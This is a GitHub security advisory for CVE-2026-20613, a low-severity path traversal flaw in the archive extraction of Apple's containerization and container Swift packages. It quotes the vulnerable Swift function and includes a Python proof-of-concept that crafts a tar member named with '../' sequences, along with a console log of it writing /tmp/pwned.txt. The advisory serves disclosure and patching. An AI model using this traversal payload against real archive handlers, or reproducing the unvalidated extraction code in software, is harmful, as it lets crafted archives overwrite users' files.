GitHub Advisoryadvisory · SwiftURL
GHSA-cq3j-qj2h-6rv3 Container and Containerization archive extraction does not guard against escapes from extraction base directory.
LOW
Official page ↗
- Aliases
- CVE-2026-20613
- Ecosystem
- SwiftURL
- Packages
- github.com/apple/containerization, github.com/apple/container
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-22
- Reviewed
- 2026-01-22
Affected packages
• SwiftURL github.com/apple/containerization: < 0.21.0 → fixed in 0.21.0
• SwiftURL github.com/apple/container: < 0.8.0 → fixed in 0.8.0
Description
Summary
The `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.
Details
The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.
```swift
/// Extracts the contents of an archive to the provided directory.
/// Currently only handles regular files and directories present in the archive.
public func extractContents(to directory: URL) throws {
let fm = FileManager.default
var foundEntry = false
for (entry, data) in self {
guard let p = entry.path else { continue }
foundEntry = true
let type = entry.fileType
let target = directory.appending(path: p)
switch type {
case .regular:
try data.write(to: target, options: .atomic)
case .directory:
try fm.createDirectory(at: target, withIntermediateDirectories: true)
case .symbolicLink:
guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
continue
}
try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
default:
continue
}
chmod(target.path(), entry.permissions)
if let owner = entry.owner, let group = entry.group {
chown(target.path(), owner, group)
}
}
guard foundEntry else {
throw ArchiveError.failedToExtractArchive("no entries found in archive")
}
}
```
PoC
Sample script `make-evil-tar.py`:
```python
! /usr/bin/env python3
import tarfile
import io
import time
tar_path = "evil.tar"
Content of the file inside the tar
payload = b"pwned\n"
with tarfile.open(tar_path, "w") as tar:
info = tarfile.TarInfo(
name="../../../../../../../../../../../tmp/pwned.txt"
)
info.size = len(payload)
info.mtime = int(time.time())
info.mode = 0o644
tar.addfile(info, io.BytesIO(payload))
print(f"Created {tar_path}")
```
```console
% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt
pwned
```
Impact
Affects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function.
Affects users of `container image load` in the container project.
These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.
Related
Alias · CVE (1)
- CVE-2026-20613 The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before… vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness